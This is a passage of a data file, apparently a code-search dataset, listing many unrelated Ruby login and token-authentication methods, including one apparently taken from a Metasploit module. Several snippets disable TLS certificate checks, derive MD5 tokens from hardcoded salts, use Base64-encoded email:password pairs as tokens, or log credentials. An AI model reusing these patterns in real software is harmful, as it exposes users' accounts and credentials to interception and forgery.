\"\" ] if browse_everything_controller_debug_verbose\n provider_session.token\n end", "def login\n response = @session.create\n @auth_token = response[\"token\"]\n @rest.default_headers = { 'Content-Type' => 'application/json', 'Auth-Token' => @auth_token }\n response\n end", "def login\n if current_user and params[:return_to]\n # Already logged in; just need to send a token to the requesting\n # API client.\n #\n # FIXME: if current_user has never authorized this app before,\n # ask for confirmation here!\n\n send_api_token_to(params[:return_to], current_user)\n elsif params[:return_to]\n redirect_to \"/auth/joshid?return_to=#{CGI.escape(params[:return_to])}\"\n else\n redirect_to \"/auth/joshid\"\n end\n end", "def http_auth_login\n # FIXME: Implement\n end", "def auth(controller)\n #controller.reset_session\n token = controller.params[:access_token]\n user = User.where(:access_token => token).first\n if user\n controller.sign_in(user)\n\n ## TODO: We should change the token here.\n\n data = \"<login\"\n data += \" name='#{user.name}'\"\n data += \" email='#{user.email}'\"\n data += \" roles='#{user.role_symbols.join(\",\")}'\"\n data += \" authToken='#{token}'\"\n data += \"/>\"\n controller.render :xml => data, :status => 200\n else\n controller.render :xml => \"<NoWay/>\", :status => 404\n end\n end", "def authenticate\n response = post('login')\n @access_token = response['access-token']\n @client_id = response['client-id']\n end", "def mob_login\n token_manager = API::Concerns::TokenManager.new(params[:email], params[:password], params[:access_token])\n current_user = token_manager.current_user\n if !current_user.nil?\n render json: JSON.parse(current_user.to_json).except('id', 'password', 'pass_salt', 'updated_at')\n else\n render json: JSON.parse(token_manager.token.to_json)\n end\n end", "def login_0\n\n #definde needed header\n headers = {'Authorization' => \"Basic \" + @base_user_string}\n\n #Login\n response = request({:method => \"POST\", :url => @host + \"login\", :headers => headers})\n\n #Get organisation link\n @org_link = parse_content(response.body, '//Org')[0].attribute('href').to_s\n\n #Get authentication header key\n @auth_key = response.headers[:x_vcloud_authorization]\n\n end", "def authorise\n #FIRST SINGLE USE TOKEN WILL BE RECEIVED HERE..\n token = params[:token]\n #PREPAIRING FOR SECOND REQUEST WITH AUTH TOKEN IN HEADER.. WHICH WILL BE EXCHANED FOR PERMANENT AUTH TOKEN.\n uri = URI.parse(\"https://www.google.com\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n path = '/accounts/AuthSubSessionToken'\n headers = {'Authorization'=>\"AuthSub token=#{token}\"}\n\n #GET REQUEST ON URI WITH SPECIFIED PATH...\n resp, data = http.get(path, headers)\n #SPLIT OUT TOKEN FROM RESPONSE DATA.\n if resp.code == \"200\"\n token = ''\n data.split.each do |str|\n if not (str =~ /Token=/).nil?\n token = str.gsub(/Token=/, '')\n end\n end \n return redirect_to(:action => 'import', :token => token)\n else\n redirect_to root_url , :notice => \"fail\"\n end\n end", "def login\n \tauthenticate(params)\n end", "def login\n auth_token =\n AuthenticateUser.new(auth_params[:email], auth_params[:phone_number], auth_params[:password]).call\n response = { message: Message.successful_login, auth_token: auth_token }\n json_response(response)\n end", "def login\n debug 'Trying to login'\n _response = self.signed_request '/api/v1/login', 'POST', {\n user: $config.get_username,\n password: $config.get_password\n }\n\n if _response['status'] != 'success'\n puts 'Unable to login!'\n exit 1\n else\n debug 'Signed in successfully'\n end\n\n @auth_token = _response['data']['authToken']\n @user_id = _response['data']['userId']\n end", "def login\n if params[:token]==md5(params[:email].to_s+\"fuckch0p\")\n @user = User.authenticate params[:email], params[:password]\n if @user\n @r = MobileApiResponse.new\n @r.user_id = @user.id\n @r.token = md5(@user.id.to_s + \"g04ts\")\n else\n @r = MobileApiError.new 3\n end\n else\n @r = MobileApiError.new 1\n end\n render :json => @r\n end", "def login()\n content = {\n 'Email' => @username,\n 'Passwd' => @password,\n 'source' => @app_name,\n 'accountType' => 'HOSTED_OR_GOOGLE',\n 'service' => 'cl'}\n\n response = send(Addressable::URI.parse(@auth_url), :post_form, content)\n\n raise HTTPRequestFailed unless response.kind_of? Net::HTTPSuccess\n\n @token = response.body.split('=').last\n @headers = {\n 'Authorization' => \"GoogleLogin auth=#{@token}\",\n 'Content-Type' => 'application/atom+xml'\n }\n @update_header = @headers.clone\n @update_header[\"If-Match\"] = \"*\"\n end", "def signOn()\n begin\n response_xml = HTTParty.get(SIGNON_URL,\n headers: { \"Content-Type\" => \"application/json\", \n \"Authorization\" => \"Basic #{encode_token(identity_token)}\"},\n verify: false,:timeout => 60 )\n encode_token(response_xml)\n rescue Exception => ex\n return \"invalid session token\"\n end\n end", "def login_with_token\n redirect_to :action => :do_login_with_token, :token => params[:t]\n end", "def login\n content = {\n 'Email' => @username,\n 'Passwd' => @password,\n 'source' => @app_name,\n 'accountType' => 'HOSTED_OR_GOOGLE',\n 'service' => 'cl'}\n\n response = send(Addressable::URI.parse(@auth_url), :post_form, content)\n\n raise HTTPRequestFailed unless response.kind_of? Net::HTTPSuccess\n\n @token = response.body.split('=').last\n @headers = {\n 'Authorization' => \"GoogleLogin auth=#{@token}\",\n 'Content-Type' => 'application/atom+xml'\n }\n @update_header = @headers.clone\n @update_header[\"If-Match\"] = \"*\"\n end", "def authenticate\n \n authenticate_token || render_unauthorized\n end", "def authenticate\n # if valid_access_token?\n # fetch_access_token\n # else\n get_new_access_token\n # end\n end", "def login\n make_login_call\n end", "def show\n patient = get_patient(@body[\"token\"])\n if patient != @patient\n render json: {message: \"failed to authenticate\"}, status: :unprocessable_entity\n else\n render :json => {\n id: @patient.id,\n email: @patient.email,\n firstName: @patient.first_name,\n lastName: @patient.last_name,\n birthday: @patient.birthday,\n sex: @patient.sex,\n height: @patient.height,\n weight: @patient.weight,\n token: get_token(@patient)\n }\n end\n end", "def login\n res = @cloud.api.post('account/login-api', { Email: @email, ApiKey: @api_key }.to_json)\n @token = res['access_token']\n @created_at = DateTime.parse(res['.issued'])\n @expire_at = DateTime.parse(res['.expires'])\n @token\n end", "def create #session for login user\n self.resource = warden.authenticate!(auth_options)\n set_flash_message(:notice, :signed_in) if is_navigational_format?\n @log_msg = \"User Login through TFP Login page\" \n sign_in(resource_name, resource)\n respond_with resource, :location => after_sign_in_path_for(resource)\n end", "def index\n res = create_request2(root_url + '/login/auth', 'tequila.epfl.ch')\n redirect_to ('https://tequila.epfl.ch/cgi-bin/tequila/requestauth?request' + res)\n end", "def token\n authenticate_username_password || render_unauthorized\n end", "def authenticate\n authenticate_token || render_unauthorized\n end", "def login\n if params[:email]\n email = params[:email]\n resource = User.where(:email => email).first\n if !resource.nil? && resource.valid_password?(params[:password])\n sign_in(resource)\n else\n return head :forbidden\n end\n elsif current_user\n resource = current_user\n else\n return head :bad_request\n end\n\n resource.ensure_authentication_token!\n render json: {\n :id => resource.id.to_s,\n :email => resource.email,\n :auth_token => resource.authentication_token,\n :permissions => resource.permissions,\n :expiry_ts => (Time.now + Devise.timeout_in).to_i\n }\n end", "def authenticated_user\n return render_error(2, 'Invalid auth token') if logged_device.nil?\n logged_device\n end", "def login()\n uri = URI('http://54.252.241.122:8000/users/authenticate')\n http = Net::HTTP.new(uri.host, uri.port)\n req = Net::HTTP::Post.new(uri.path, 'Content-Type' => 'application/json')\n req.body = {email: 'demo1@g.com', password: '*********'}.to_json\n res = http.request(req)\n tkn=JSON.parse(res.body)\n return tkn['result']['token']\nend", "def token\n authenticate_username_password || render_unauthorized\n end", "def authenticate_with_token\n # get the token from the header\n # get the token from the post body\n # get the token from json post\n \n token = request.headers[\"HTTP_AUTHORIZATION\"]\n \n if (!token)\n if (not_protected self.controller_name, self.action_name)\n return nil\n end\n\n redirect_to controller: 'application', action: 'index' \n end\n\n #@user = get_user_by_token(token)\n end", "def login\n\t\t# Checks if there's a user associated\n\t\t# with the given email.\n\t\tu = User.find_by_email(params[:email])\n\n\t\t# If we find an email and the user\n\t\t# supplied the correct password we \n\t\t# login the user by starting a session.\n\t\t# We also redirect the user to the\n\t\t# control panel.\n\t\tif u && u.authenticate(params[:password])\n\t\t\t@id = u.id\n\t\t\t@token = Base64.encode64(params[:email] + ':' + params[:password])[0..-2]\n\n\t\t\tsession[:userid] = u.id\n\t\t\trender :template => 'api/v1/login/success'\n\t\telse\n\t\t\trender :status => 401, :template => 'api/v1/login/failure'\n\t\tend\n\tend", "def token\n authenticated\n end", "def api_login\n employee = Employee.find_by(IDnum: params[:IDnum])\n if employee && employee.authenticate(params[:password])\n \tif employee.status = \"Active\"\n \t\ttoken = employee.generate_api_token\n \tdistribute_api_token(employee.IDnum, token)\n \trender(json: {\"api_token\" => employee.api_token}.to_json, status: 201)\n \telse\n \t\tmsg = { :status => \"ERROR\", :message => \"Access Denied: No longer active employee\" }\n \trender :json => msg, status: :forbidden\n \tend\n else\n msg = { :status => \"ERROR\", :message => \"Invalid ID number and password combination\" }\n render :json => msg, status: :forbidden\n end\n end", "def login; end", "def authenticate\n #render :text => params[:action]\n if (params[:controller] != \"api/sessions\")\n if (params[:controller] == \"api/users\" && params[:action] == \"create\")\n return\n end\n user = User.find_by(token: params[:token])\n if !user || user.valid_up < DateTime.now\n render json: '{\"error\":\"Unauthorized\"}', status: 401\n end\n end\n if (params[:controller] == \"api/sessions\" && params[:action] == \"chekToken\")\n user = User.find_by(token: params[:token])\n if !user || user.valid_up < DateTime.now\n render json: '{\"error\":\"Unauthorized\"}', status: 401\n end\n end\n #\"controller\":\"users\",\"action\":\"show\",\"id\":\"login\" si se va a registrar dejar pasar\n #@product = '[{\"mytoken\":\"'+params[:token]+'\"}]'\n # if !User.find_by(token: params[:token])\n # #render json: '[{\"error\":\"Unauthorized\"}]', status: 401\n # end\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n end", "def login\n\n end", "def login\n\n end", "def login\n user = User.find_by(username: auth_params[:username])\n if user && user.authenticate(auth_params[:password])\n payload = {user_id: user.id}\n token = encode_token(payload)\n render json: {jwt: token, userid: user.id, admin: user.admin}\n else\n render json: {failure: \"login failed\"}\n end\n end", "def getTokenLogin( portal_name, language, flatpack_id, multipack_id)\n params = Hash.new\n params['portal_name'] = portal_name\n params['language'] = language\n params['flatpack_id'] = flatpack_id\n params['multipack_id'] = multipack_id\n return doCurl(\"get\",\"/token/login\",params)\n end", "def authenticate\n \n authenticate_or_request_with_http_token do |token|\n begin\n decoded = decode(token)\n @current_user = User.find_by(id: decoded[0][\"user_id\"]) \n \n rescue JWT::DecodeError\n render json: {authorized: false }, status: 401 \n end\n end \n end", "def log_in\n check_for_signed_in_user_and_issues\n\n (redirect_to \"/\" and return) if user_signed_in?\n\n @login = :true\n\n @auth_failure = params[:auth_failure] == '1'\n @auth_strategy = params[:auth_strategy]\n\n @mobile_os = detect_mobile_os\n @is_mobile = is_mobile?\n\n @redirect_loc = params[:redir] if params[:redir]\n\n render '/home/landing'\n end", "def authenticate!\n error!(\"401 Unauthorized\", 401) unless check_auth_token \n end", "def token_auth(*args, &block); end", "def login\n end", "def authenticate\n\t\tauthenticate_token || render_unauthorized\n\tend", "def api_login\n creator = Creator.find_by(name: request.headers['name'])\n if creator && creator.authenticate(request.headers['password'])\n encode = encodeJWT(creator)\n selected_format({jwt: encode,creator_id: creator.id,name: creator.name,submits:creator.submits},:ok)\n else\n selected_format({ error: 'Invalid username or password' },:unauthorized)\n end\n end", "def do_auth\r\n send_request_cgi({\r\n 'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),\r\n 'method' => 'POST',\r\n 'cookie' => \"atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}\",\r\n 'vars_post' => {\r\n 'os_username' => datastore['HttpUsername'],\r\n 'os_password' => datastore['HttpPassword'],\r\n 'os_destination' => '',\r\n 'user_role' => '',\r\n 'atl_token' => '',\r\n 'login' => 'Log+In'\r\n }\r\n })\r\n end", "def authenticate_device_user\n logger.info \"=====#{request.headers[\"authorization\"]}===\"\n #logger.info \"=====#{request.headers['content-type']}===\"\n logger.info \"=deviceid====#{request.headers['device_id']}===\"\n begin\n users = ActionController::HttpAuthentication::Basic::user_name_and_password(request)\n rescue\n users = []\n end\n logger.info\"=====================user_login_info===#{users}\"\n unless users.empty? and user_signed_in?\n resource = User.find_by_edutorid(users[0])\n #resource = warden.authenticate!(users)\n unless resource.nil?\n sign_in('user',resource)\n end\n #current_user = resource\n end\n end", "def login\n admin = Admin.find_by(email: params[:email])\n puts admin\n if admin && admin.authenticate(params[:password])\n token = encode_token({admin_id: admin.id})\n render json: {admin: admin, token: token} \n else\n render json: {errors: \"Invalid email/password combination\"}\n end\n end", "def authenticate\n @discogs = Discogs::Wrapper.new(\"Test OAuth\")\n request_data = @discogs.get_request_token(DISCOGS_API_KEY, DISCOGS_API_SECRET, \"http://127.0.0.1:3000/callback\")\n \n session[:request_token] = request_data[:request_token]\n \n redirect_to request_data[:authorize_url]\n end", "def login\n @rest.headers[:content_type] = \"application/json\"\n\n response = api_request { @rest[\"login\"].post({:username => @username, :password => @password}) }\n\n @rest.headers[:x_opsview_token] = response[:token]\n @rest.headers[:x_opsview_username] = @username\n\n response\n end", "def login(auth_type, auth_id=nil, auth_token=nil)\n auth_data = {\n :authType => auth_type,\n :authId => auth_id,\n :authToken => auth_token\n }\n\n if (auth_type.to_sym == :guest)\n response = auth_data\n auth_data[:id] = String.random_uid\n else\n if @authentication[:authType] == :guest\n auth_data[:id] = @authentication[:id]\n end\n response = post(\"authenticate\", auth_data)\n auth_data[:id] = response[:id]\n end\n\n @authentication = auth_data\n response\n end", "def login!\n params = { email: email, password: pass }\n response = Faraday.get(\"#{ACCOUNT_BASE}/login\", params)\n attributes = JSON.parse(response.body)\n @token = attributes[\"adminToken\"]\n end", "def authenticate\n authenticate_token || render_unauthorized\n end", "def authenticate\n authenticate_token || render_unauthorized\nend", "def login()\n begin\n $platform.authorize( jwt: \"SANDBOX_JWT\" )\n send_fax()\n rescue StandardError => e\n puts (\"Unable to authenticate to platform. Check credentials.\" + e.to_s)\n end\nend", "def request_login(http)\r\n login_post = construct_login_request\r\n login_response = http.request(login_post)\r\n logger.debug \"Login response: #{login_response.code}, Message: #{login_response.message}, Body: #{login_response.body}\"\r\n\r\n if login_response.code == '200'\r\n logger.debug 'Successfully logged in.'\r\n\r\n json_resp = JSON.parse(login_response.body)\r\n json_resp['auth_token']\r\n else\r\n logger.debug 'Failed log in.'\r\n nil\r\n end\r\n end", "def login\n mandatory_keys = [:app_id, :user_name, :password, :sign]\n if params.slice(*mandatory_keys).values.any?(&:nil?)\n render json: to_response('Some params are lost') and return\n elsif @service_provider.nil?\n render json: to_response('ServiceProvider error') and return\n elsif not CommonUtils.valid_sign?(params[:app_id], params[:user_name], params[:password], @service_provider.credential, params[:sign])\n render json: to_response('Invalid request: parameter error') and return\n end\n\n user = User.find_by_user_name(params[:user_name])\n if user && user.authenticate(params[:password])\n render json: (user.invalid_role? ? to_response('User needs to be activated') : to_response('success', user))\n elsif user.nil?\n render to_response \"User not exist:#{params[:user_name]}\"\n else\n render to_response 'Password error'\n end\n end", "def login\n get_session_variables_from_authenticated_system\n\n return unless request.post?\n attempt_to_login_user\n\n if logged_in? && authorized?(current_user)\n create_secret_image_code\n set_session_variables_for_authenticated_system\n log_the_login\n redirect_with_proper_protocol_and_query_string\n elsif account_subdomain\n flash.now[:notice] = \"Bad username or password for identity url: #{account_subdomain}.#{AppConfig.host}\"\n else\n flash.now[:notice] = \"Bad username or password.\"\n end\n end", "def login\n params = {\n 'method' => :post,\n 'command' => '/sessions'\n }\n\n response, headers = send_request(params)\n\n if !headers.has_key?(:x_vcloud_authorization)\n raise \"Unable to authenticate: missing x_vcloud_authorization header\"\n end\n\n extensibility_link = response.css(\"Link[rel='down:extensibility']\")\n @extensibility = extensibility_link.first['href'] unless extensibility_link.empty?\n\n @auth_key = headers[:x_vcloud_authorization]\n end", "def login\n openid_url = params[:openid_url]\n\n authenticate_with_open_id(openid_url) { |result, identity_url, sreg|\n if result.successful?\n @open_id_credential = OpenIdCredential.find_by_identity_url(identity_url)\n if @open_id_credential\n @open_id_credential.login!\n session[:user_id] = @open_id_credential.user_id\n set_notice(p_(\"MultiAuth\", \"Logged in successfully.\"))\n redirect_to(root_path)\n else\n set_notice(p_(\"MultiAuth\", \"This OpenID has not been registered yet.\"))\n redirect_to(:controller => \"signup/open_id\", :action => \"index\")\n end\n else\n failed_login(result.message)\n end\n }\n end", "def create\n # TODO: to be changed to including the following\n # - id_token validation\n # -- verfiy it is coming from the issuer\n # -- verify the request was not expired as defined in the state token\n # -- https://purl.imsglobal.org/spec/lti/claim/target_link_uri claim should have the same value as sent in the login initiation\n # -- nonce should be the same as sent in the login initiation\n # - get the access token with all possible claims and cache it\n # - check the cookie value is equal as was sent in the login initiaiton redirect\n # - send the content back as html\n if params[:id_token]&.present?\n if params[:state]&.present?\n # TODO: FIXME verify the state coming form the platform first\n @decoded_payload = Jwt::Payload.new(params[:state]).call\n tool_id = @decoded_payload['tool_id']\n @lms_instance = LmsInstance.find_by(id: tool_id.to_i)\n end\n \n @decoded_header = Jwt::Header.new(params[:id_token]).call\n kid = @decoded_header['kid']\n \n @decoded_jwt = Lti13Service::DecodePlatformJwt.new(@lms_instance, params[:id_token], kid).call\n @decoded_jwt = @decoded_jwt.first\n \n @id_token = params[:id_token]\n Rails.application.executor.wrap { @access_token = @lms_instance.oauth2_url.present? ? Lti13Service::GetAgsAccessToken.new(@lms_instance).call : nil }\n end\n \n return\n end", "def login\n return @token if @token or @auth_method == :api_key\n request = Request.new(\"Post\", \"#{@config[:base_url]}/user/login\")\n\n request.add_multipart_body ({\n name: @config[:username],\n pass: @config[:password],\n form_id: \"user_login\",\n op: \"Log in\",\n })\n\n response = request.perform\n @token = response['Set-Cookie'].split(\";\")[0] if response and response['Set-Cookie']\n @token\n end", "def authenticate_or_token\n @@host = request.host_with_port\n return if params[:action].index('login') || params[:controller] == 'accesses'\n authenticate_user! if params[:controller].index('api').nil?\n @current_user = current_user if @current_user.nil?\n end", "def login\n state_json = {\n redirect_url: params[:redirect_url],\n access_token: params[:access_token],\n ip: request.remote_ip\n }\n\n unless params[:mixpanel_id].blank?\n state_json.merge!(mp_id: params[:mixpanel_id])\n end\n\n encoded_state = LinkedAccount::Base.encode_state(state_json)\n\n case params[:provider]\n when 'github'\n redirect_to LinkedAccount::Github::User.oauth_url(scope: params[:scope], state: encoded_state)\n\n when 'facebook'\n redirect_to LinkedAccount::Facebook.oauth_url(scope: params[:scope], state: encoded_state)\n\n when 'twitter'\n redirect_to LinkedAccount::Twitter.oauth_url(scope: params[:scope], state: encoded_state)\n\n else render json: { error: 'Unsupported provider' }, status: :bad_request\n end\n end", "def authenticate!\n if current_identity\n true\n else\n respond_to do |format|\n format.html do\n store_location\n redirect_to main_app.new_session_path\n end\n format.json do\n render status: 403, nothing: true\n end\n end\n end\n end", "def login\n client.login(\n params[:user],\n params[:password],\n authParams: {\n scope: 'openid name email'\n },\n connection: 'Username-Password-Authentication'\n )\n end", "def login!\n connect! unless connected?\n @auth_header = @connection.head(@url.path)\n end", "def login\n params = {\n 'method' => :post,\n 'command' => '/sessions'\n }\n\n response, headers = send_request(params)\n\n if !headers.has_key?(:x_vcloud_authorization)\n raise \"Unable to authenticate: missing x_vcloud_authorization header\"\n end\n\n @auth_key = headers[:x_vcloud_authorization]\n end", "def authenticate\n payload = { \n 'username' => username,\n 'password' => password,\n 'options' => {\n 'multiOptionalFactorEnroll' => false,\n 'warnBeforePasswordExpired' => false\n }\n }.to_json\n uri = URI.parse(api_endpoint + '/authn')\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n\n req = Net::HTTP::Post.new(uri.request_uri)\n req.content_type = 'application/json'\n req['Accept'] = 'application/json'\n req.body = payload\n logger.debug {\"payload: <#{req.body.inspect}>\"}\n res = http.request(req)\n logger.debug {\"Headers: <#{res.to_hash.inspect}>\"}\n logger.debug {\"Body: <#{res.body.inspect}>\"}\n result = JSON.parse(res.body)\n\n case result['status']\n when 'SUCCESS'\n return result['sessionToken']\n when 'MFA_REQUIRED'\n factors = result['_embedded']['factors']\n logger.debug { \"factors: #{factors.inspect}\" }\n factor = mfa.call(factors)\n logger.debug { \"factor: #{factor.inspect}\" }\n factor = Factors.new(factor)\n factor.state_token = result['stateToken']\n factor.verify\n else\n raise 'Authentication failed'\n end\n end", "def sign_in\n login = params['login']\n password = params['password']\n type = (params['type'] || 'standard').to_sym\n\n if login.nil? || password.nil?\n render :json => {error:'please enter params'}\n return\n end\n\n if type == :standard\n user = User.where(login:login,password:password,user_type:type).first\n if user.nil?\n render :json => { login:false , error: 'Invalid credentials' }\n return\n else\n raw_token = {login: user.login , password: password , type:user.user_type }\n token = JsonWebToken.encode(raw_token)\n render :json => { login:true , token: token , admin:user.admin , user: {login:user.login, type:user.user_type, id: user.id} }\n return\n end\n end\n if type == :ldap\n sing_in_ldap({login:login, password:password})\n\n end\n end", "def login\n request_params = {\n host_url_with_protocol: host_url_with_protocol,\n host_url: host_url,\n entity_type: GlobalConstant::TemplateType.login_template_type\n }\n service_response = GlobalConstant::StTokenSale.get_client_details(request_params)\n\n # Check if error present or not?\n unless service_response.success?\n render_error_response(service_response)\n return\n end\n\n @presenter_obj = ::Web::Client::Setup.new(service_response, params)\n redirect_to '/token-sale-blocked-region', status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.is_blacklisted_ip?(get_ip_to_aml_countries)\n set_page_meta_info(@presenter_obj.custom_meta_tags)\n end", "def authentication_succeed(oidresp)\n end", "def login\n user = User.find_by(email: user_login_params[:email])\n\n if user && user.authenticate(user_login_params[:password])\n token = create_token(user.id)\n render json: {\n user: user.attributes.except(\"password_digest\"),\n token: token,\n }, status: :ok\n else\n render json: {error: \"unauthorized\"}, status: :unauthorized\n end\n end", "def login\n user = User.find_by(email: user_login_params[:email])\n\n if user && user.authenticate(user_login_params[:password])\n token = create_token(user.id)\n render json: {\n user: user.attributes.except(\"password_digest\"),\n token: token,\n }, status: :ok\n else\n render json: {error: \"unauthorized\"}, status: :unauthorized\n end\n end", "def login()\n begin\n $platform.authorize(jwt: ENV['RC_JWT'])\n read_extension_phone_number_detect_sms_feature()\n rescue StandardError => e\n puts (\"Unable to authenticate to platform. Check credentials.\" + e.to_s)\n end\nend", "def connect_to_server\n puts \"==>connect_to_server\"\n if session[:client_id].length == 0 \n @client = FHIR::Client.new(session[:iss_url])\n @client.use_r4\n return # We do not have authentication\n end\n if session.empty? \n err = \"Session Expired\"\n # binding.pry \n redirect_to root_path, alert: err\n end\n if session[:iss_url].present?\n @client = FHIR::Client.new(session[:iss_url])\n @client.use_r4\n token_expires_in = session[:token_expiration] - Time.now.to_i\n if token_expires_in.to_i < 10 # if we are less than 10s from an expiration, refresh\n get_new_token\n end\n @client.set_bearer_token(session[:access_token])\n end\n rescue StandardError => exception\n reset_session\n err = \"Failed to connect: \" + exception.message\n redirect_to root_path, alert: err\n end", "def do_login\n @login_results = login\n @cookie = @login_results.headers['Set-Cookie']\n end", "def do_login\n @login_results = login\n @cookie = @login_results.headers['Set-Cookie']\n end", "def launch\n #reset_session # Get a completely fresh session for each launch. This is a rails method.\n if params[:client_id].length == 0 #this is a sentinel for unauthenticated access with the patient ID in the client_secret\n session[:client_secret] = session[:patient_id] = params[:client_secret]\n session[:client_id] = params[:client_id]\n session[:iss_url] = params[:iss_url]\n @patient_client = FHIR::Client.new(session[:iss_url])\n @patient_client.use_r4\n # @client.set_bearer_token(session[:access_token])\n puts \"==>redirect_to #{dashboard_url}\"\n redirect_to patients_path, alert: \"Please provide a client id and secret\"\n else\n # Let Params values over-ride session values if they are present\n launch = params[:launch] || session[:launch] || \"launch\"\n iss = (params[:iss_url] || session[:iss_url]).delete_suffix(\"/metadata\")\n session[:client_id] = params[:client_id].gsub /\\t/, '' || session[:client_id]\n session[:client_secret] = params[:client_secret].gsub /\\t/, '' || session[:client_secret]\n # Get Server Metadata\n rcRequest = RestClient::Request.new(\n :method => :get,\n :url => iss + \"/metadata\"\n )\n rcResult = JSON.parse(rcRequest.execute)\n session[:auth_url] = rcResult[\"rest\"][0][\"security\"][\"extension\"][0][\"extension\"].select{|e| e[\"url\"] == \"authorize\"}[0][\"valueUri\"]\n session[:token_url] = rcResult[\"rest\"][0][\"security\"][\"extension\"][0][\"extension\"].select{|e| e[\"url\"] == \"token\"}[0][\"valueUri\"]\n session[:iss_url] = iss\n session[:launch] = launch\n # for Onyx scope = \"launch/patient openid fhirUser offline_access user/ExplanationOfBenefit.read user/Coverage.read user/Organization.read user/Patient.read user/Practitioner.read patient/ExplanationOfBenefit.read patient/Coverage.read patient/Organization.read patient/Patient.read patient/Practitioner.read\"\n scope = \"launch/patient openid fhirUser offline_access user/*.read patient/*.read\"\n scope = scope.gsub(\" \",\"%20\" )\n scope = scope.gsub(\"/\",\"%2F\" )\n redirect_to_auth_url = session[:auth_url] + \n \"?response_type=code\"+\n \"&redirect_uri=\"+ login_url +\n \"&aud=\" + iss +\n \"&state=98wrghuwuogerg97\" +\n \"&scope=\"+ scope +\n \"&client_id=\" + session[:client_id] \n # + \"&_format=json\"\n puts \"===>redirect to #{redirect_to_auth_url}\"\n redirect_to redirect_to_auth_url\n end \n\n rescue StandardError => exception\n reset_session\n err = \"Failed to connect: \" + exception.message\n redirect_to patients_path, alert: err\n \n end", "def authenticate(email, api)\nuri = URI('https://device.pcloudy.com/api/access')\n\nNet::HTTP.start(uri.host, uri.port,\n :use_ssl => uri.scheme == 'https', \n :verify_mode => OpenSSL::SSL::VERIFY_NONE) do |http|\n request = Net::HTTP::Get.new uri.request_uri\n request.basic_auth email,api\n response = http.request request # Net::HTTPResponse object\n #puts response\n #puts response.body\n authresponce = JSON.parse(response.body)\n token = authresponce[\"result\"][\"token\"]\n puts token\n return token\nend \nend", "def login\n if @user\n render_json 'Signed in Successfully', true, @user, :ok, [:api_v1, user]\n else\n render_json 'Unable to Signed in: wrong email or password', false, {}, :unauthorized\n end\n end", "def authenticate_request!\n # raise request.inspect\n #Rails.logger.info \"Headers #{request.headers.inspect}\"\n #Rails.logger.info \"Device Id: #{request.headers[\"HTTP_AUTH_TOKEN\"]}, Hello #{request.headers[\"HTTP_DEVICE_ID\"]}\"\n\n # puts request.headers[\"HTTP_AUTH_TOKEN\"].inspect\n # puts request.headers[\"HTTP_DEVICE_TOKEN\"].inspect\n\n\n if request.headers[\"HTTP_DEVICE_ID\"].present?\n client_id = request.headers[\"HTTP_DEVICE_ID\"]\n token = request.headers[\"HTTP_AUTH_TOKEN\"]\n device_type = request.headers[\"HTTP_DEVICE_TYPE\"]\n puts \"--------------------------------------------------------------\"\n # Rails.logger.info \"#{request.headers[\"HTTP_AUTH_TOKEN\"]}\"\n refresh_token_hash = $redis.hgetall(token)\n Rails.logger.info\"client_id==============#{client_id}\"\n Rails.logger.info \"token=================#{token}\"\n Rails.logger.info \"device_type===============#{device_type}\"\n Rails.logger.info \"refresh_token_hash ===========#{refresh_token_hash}\"\n\n if refresh_token_hash && client_id && device_type && refresh_token_hash[\"client_id\"] == client_id && refresh_token_hash[\"device_type\"] == device_type\n user = User.find_by_id(refresh_token_hash[\"user_id\"])\n @current_user = user\n # role = user.role.name.downcase\n # user = { id: user.id, email: user.email, avatar: (user.photos.last.present? ? {url: user.photos.last.profile_medium_url,profile_url: user.photos.last.profile_thumb_url} : {url: \"\",profile_url: \"\"}),full_name: user.full_name,last_sign_in_at: user.last_sign_in_at }\n response_token = { :user => user, :role=> role }\n session[:response_token] = response_token\n return session[:response_token]\n # Rails.logger.info \"mobile request==============#{device_type}====== #{Time.zone.now}====================================\"\n else\n render json: { error: \"Session expired!\" }\n end\n\n\n\n # if request.headers[\"HTTP_DEVICE_ID\"].present?\n\n # secret_token = SecretToken.where(token: request.headers[\"HTTP_AUTH_TOKEN\"], client_id: request.headers[\"HTTP_DEVICE_ID\"],device_type: request.headers[\"HTTP_DEVICE_TYPE\"]).first\n # if secret_token.present?\n # user = secret_token.user\n # @current_user = user\n # response_token = { :success => true, :user => user, :role => user.user_role }\n # session[:response_token] = response_token\n # else\n # render json: { error: \"Session expired!\" }\n # end\n else\n\n Rails.logger.info \"web request======================#{request.headers[\"HTTP_DEVICE_ID\"]}======== #{Time.zone.now}==========================\"\n begin\n puts request.headers[\"HTTP_REFRESH_TOKEN\"]\n if request.headers[\"HTTP_REFRESH_TOKEN\"].present?\n\n refresh_token = request.headers[\"HTTP_REFRESH_TOKEN\"]\n client_id = request.headers[\"REMOTE_ADDR\"]\n # puts \"-------------------------------------------------#{request.headers[\"HTTP_REFRESH_TOKEN\"]}-------------\"\n secret_token = $redis.hgetall(request.headers[\"HTTP_REFRESH_TOKEN\"])\n # secret_token = SecretToken.where(token: refresh_token, client_id: client_id).first\n puts secret_token.inspect\n\n\n if secret_token.present?\n # user = secret_token.user\n\n user = User.find_by_id(secret_token[\"user_id\"])\n refresh_token = Digest::MD5.hexdigest(Time.now.to_s + user.email)\n response_token = authentication_payload(user, refresh_token)\n $redis.del(request.headers[\"HTTP_REFRESH_TOKEN\"])\n $redis.srem(user.id, request.headers[\"HTTP_REFRESH_TOKEN\"])\n $redis.hmset(response_token[:refresh_token], \"client_id\", request.headers[\"REMOTE_ADDR\"], \"user_id\", user.id,\"device_type\",\n request.headers[\"HTTP_USER_AGENT\"],\"is_mobile\", false)\n $redis.expire refresh_token, 1800\n $redis.sadd(user.id, refresh_token)\n $redis.hset(response_token[:auth_token].split(\".\").last, \"client_id\", request.headers[\"REMOTE_ADDR\"])\n # secret_token.update token: refresh_token, client_id: request.headers[\"REMOTE_ADDR\"], device_type: request.headers[\"HTTP_USER_AGENT\"], is_mobile: false\n session[:response_token] = response_token\n @current_user = user\n session[:response_token]\n else\n render json: { error: \"Session expired!\" }\n end\n else\n @current_user = 